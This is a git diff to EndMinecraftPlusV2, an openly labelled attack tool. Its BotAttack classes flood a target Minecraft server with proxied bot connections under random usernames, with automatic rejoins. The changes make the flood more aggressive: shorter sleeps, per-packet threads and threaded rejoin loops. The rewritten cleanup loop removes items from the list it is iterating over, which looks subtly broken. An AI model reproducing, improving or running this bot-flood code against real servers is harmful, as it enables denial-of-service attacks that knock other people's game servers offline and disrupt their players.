diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java index fa8925e..c40e654 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java @@ -95,7 +95,8 @@ public class BotAttack extends IAttack { } } } - OtherUtils.doSleep(5 * 1000); + + OtherUtils.doSleep(1000); } }); @@ -104,18 +105,20 @@ public class BotAttack extends IAttack { mainThread = new Thread(() -> { while (true) { try { - cleanClients(); createClients(ip, port); - OtherUtils.doSleep(10 * 1000); if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { for (Client c : clients) { c.getSession().disconnect(""); } + stop(); return; } + + OtherUtils.doSleep(5 * 1000); LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); + cleanClients(); } catch (Exception e) { LogUtil.doLog(1, "发生错误: " + e, null); } @@ -157,7 +160,17 @@ public class BotAttack extends IAttack { } private void cleanClients() { - clients.removeIf(c -> !c.getSession().isConnected()); + for (Client client:clients) { + String username = clientName.get(client); + + if (!client.getSession().isConnected()) { + alivePlayers.remove(username); + clientName.remove(client); + clients.remove(client); + } else if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } } private void createClients(final String ip, int port) { @@ -181,8 +194,8 @@ public class BotAttack extends IAttack { Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); String[] User = AttackManager.getRandomUser().split("@"); Client client = createClient(ip, port, User[0], proxy); - client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); - client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + client.getSession().setReadTimeout(5 * 1000); + client.getSession().setWriteTimeout(5 * 1000); clientName.put(client, User[0]); clients.add(client); ProxyUtil.clientsProxy.put(client.getSession(), proxy); @@ -228,8 +241,6 @@ public class BotAttack extends IAttack { } ProxyInfo proxyInfo = new ProxyInfo(proxyType, new InetSocketAddress(proxyAddress[0], Integer.parseInt(proxyAddress[1]))); - - client = new Client(ip, port, new MinecraftProtocol(username), new VersionSupport578().createTcpSessionFactory(proxyInfo)); } else { client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy)); @@ -239,11 +250,13 @@ public class BotAttack extends IAttack { client.getSession().addListener(new SessionListener() { public void packetReceived(PacketReceivedEvent e) { - handlePacket(e.getSession(), e.getPacket(), username); + new Thread(() -> handlePacket(e.getSession(), e.getPacket(), username)).start(); } public void packetReceived(Session session, Packet packet) { - handlePacket(session, packet, username); + new Thread(() -> { + handlePacket(session, packet, username); + }).start(); } public void packetSending(PacketSendingEvent packetSendingEvent) { @@ -281,23 +294,25 @@ public class BotAttack extends IAttack { for (String rejoinDetect:ConfigUtil.RejoinDetect) { if (msg.contains(rejoinDetect)) { - for (int i = 0; i < ConfigUtil.RejoinCount; i++) { - Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); - rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); - rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + new Thread(() -> { + for (int i = 0; i < ConfigUtil.RejoinCount; i++) { + Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); + rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); - rejoin++; - LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); - clientName.put(rejoinClient, username); - clients.add(rejoinClient); - rejoinClient.getSession().connect(false); + rejoin++; + LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); + clientName.put(rejoinClient, username); + clients.add(rejoinClient); + rejoinClient.getSession().connect(false); - OtherUtils.doSleep(ConfigUtil.RejoinDelay); + OtherUtils.doSleep(ConfigUtil.RejoinDelay); - if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { - break; + if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { + break; + } } - } + }).start(); } } } else if (ConfigUtil.ShowFails) { diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java index baceb64..8a3f3da 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java @@ -116,7 +116,8 @@ public class NewBotAttack extends IAttack { } } } - OtherUtils.doSleep(5 * 1000); + + OtherUtils.doSleep(1000); } }); @@ -125,9 +126,7 @@ public class NewBotAttack extends IAttack { mainThread = new Thread(() -> { while (true) { try { - cleanClients(); createClients(ip, port); - OtherUtils.doSleep(10 * 1000); if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { for (Session c : clients) { @@ -136,7 +135,10 @@ public class NewBotAttack extends IAttack { stop(); return; } + + OtherUtils.doSleep(5 * 1000); LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); + cleanClients(); } catch (Exception e) { LogUtil.doLog(1, "发生错误: " + e, null); } @@ -182,7 +184,17 @@ public class NewBotAttack extends IAttack { } private void cleanClients() { - clients.removeIf(c -> !c.isConnected()); + for (Session client:clients) { + String username = clientName.get(client); + + if (!client.isConnected()) { + alivePlayers.remove(username); + clientName.remove(client); + clients.remove(client); + } else if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } } private void createClients(final String ip, int port) { @@ -206,8 +218,8 @@ public class NewBotAttack extends IAttack { Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); String[] User = AttackManager.getRandomUser().split("@"); Session client = createClient(ip, port, User[0], proxy); - client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); - client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + client.setReadTimeout(5 * 1000); + client.setWriteTimeout(5 * 1000); clientName.put(client, User[0]); clients.add(client); ProxyUtil.clientsProxy.put(client, proxy); @@ -221,10 +233,13 @@ public class NewBotAttack extends IAttack { client.connect(false); } - if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) + if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) { return; - if (this.attack_joinsleep > 0) + } + + if (this.attack_joinsleep > 0) { OtherUtils.doSleep(attack_joinsleep); + } } catch (Exception e) { LogUtil.doLog(1, "发生错误: " + e, null); } @@ -258,19 +273,23 @@ public class NewBotAttack extends IAttack { client.addListener(new SessionListener() { public void packetReceived(PacketReceivedEvent e) { - if (ProtocolLibs.adaptAfter758) { - newHandlePacket(e.getSession(), e.getPacket(), username); - } else { - handlePacket(e.getSession(), e.getPacket(), username); - } + new Thread(() -> { + if (ProtocolLibs.adaptAfter758) { + newHandlePacket(e.getSession(), e.getPacket(), username); + } else { + handlePacket(e.getSession(), e.getPacket(), username); + } + }).start(); } public void packetReceived(Session session, Packet packet) { - if (ProtocolLibs.adaptAfter758) { - newHandlePacket(session, packet, username); - } else { - handlePacket(session, packet, username); - } + new Thread(() -> { + if (ProtocolLibs.adaptAfter758) { + newHandlePacket(session, packet, username); + } else { + handlePacket(session, packet, username); + } + }).start(); } public void packetSending(PacketSendingEvent packetSendingEvent) { @@ -314,23 +333,25 @@ public class NewBotAttack extends IAttack { for (String rejoinDetect:ConfigUtil.RejoinDetect) { if (msg.contains(rejoinDetect)) { - for (int i = 0; i < ConfigUtil.RejoinCount; i++) { - Session rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); - rejoinClient.setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); - rejoinClient.setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + new Thread(() -> { + for (int i = 0; i < ConfigUtil.RejoinCount; i++) { + Session rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); + rejoinClient.setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + rejoinClient.setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); - rejoin++; - LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); - clientName.put(rejoinClient, username); - clients.add(rejoinClient); - rejoinClient.connect(false); + rejoin++; + LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); + clientName.put(rejoinClient, username); + clients.add(rejoinClient); + rejoinClient.connect(false); - OtherUtils.doSleep(ConfigUtil.RejoinDelay); + OtherUtils.doSleep(ConfigUtil.RejoinDelay); - if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) { - break; + if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) { + break; + } } - } + }).start(); } } } else if (ConfigUtil.ShowFails) { diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java index 2d06043..55ef47e 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java @@ -106,7 +106,8 @@ public class BotAttack extends IAttack { } } } - OtherUtils.doSleep(5 * 1000); + + OtherUtils.doSleep(1000); } }); @@ -115,18 +116,20 @@ public class BotAttack extends IAttack { mainThread = new Thread(() -> { while (true) { try { - cleanClients(); createClients(ip, port); - OtherUtils.doSleep(10 * 1000); if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { for (Client c : clients) { c.getSession().disconnect(""); } + stop(); return; } + + OtherUtils.doSleep(5 * 1000); LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); + cleanClients(); } catch (Exception e) { LogUtil.doLog(1, "发生错误: " + e, null); } @@ -168,7 +171,17 @@ public class BotAttack extends IAttack { } private void cleanClients() { - clients.removeIf(c -> !c.getSession().isConnected()); + for (Client client:clients) { + String username = clientName.get(client); + + if (!client.getSession().isConnected()) { + alivePlayers.remove(username); + clientName.remove(client); + clients.remove(client); + } else if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } } private void createClients(final String ip, int port) { @@ -192,8 +205,8 @@ public class BotAttack extends IAttack { Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); String[] User = AttackManager.getRandomUser().split("@"); Client client = createClient(ip, port, User[0], proxy); - client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); - client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + client.getSession().setReadTimeout(5 * 1000); + client.getSession().setWriteTimeout(5 * 1000); clientName.put(client, User[0]); clients.add(client); ProxyUtil.clientsProxy.put(client.getSession(), proxy); @@ -223,7 +236,9 @@ public class BotAttack extends IAttack { client.getSession().addListener(new SessionListener() { public void packetReceived(PacketReceivedEvent e) { - handlePacket(e.getSession(), e.getPacket(), username); + new Thread(() -> { + handlePacket(e.getSession(), e.getPacket(), username); + }).start(); } public void packetSent(PacketSentEvent e) { @@ -248,23 +263,25 @@ public class BotAttack extends IAttack { for (String rejoinDetect:ConfigUtil.RejoinDetect) { if (msg.contains(rejoinDetect)) { - for (int i = 0; i < ConfigUtil.RejoinCount; i++) { - Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); - rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); - rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + new Thread(() -> { + for (int i = 0; i < ConfigUtil.RejoinCount; i++) { + Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); + rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); - rejoin++; - LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); - clientName.put(rejoinClient, username); - clients.add(rejoinClient); - rejoinClient.getSession().connect(false); + rejoin++; + LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); + clientName.put(rejoinClient, username); + clients.add(rejoinClient); + rejoinClient.getSession().connect(false); - OtherUtils.doSleep(ConfigUtil.RejoinDelay); + OtherUtils.doSleep(ConfigUtil.RejoinDelay); - if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { - break; + if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { + break; + } } - } + }).start(); } } } else if (ConfigUtil.ShowFails) { @@ -273,10 +290,6 @@ public class BotAttack extends IAttack { } failed++; - alivePlayers.remove(username); - - client.getSession().disconnect(""); - clients.remove(client); } }); return client;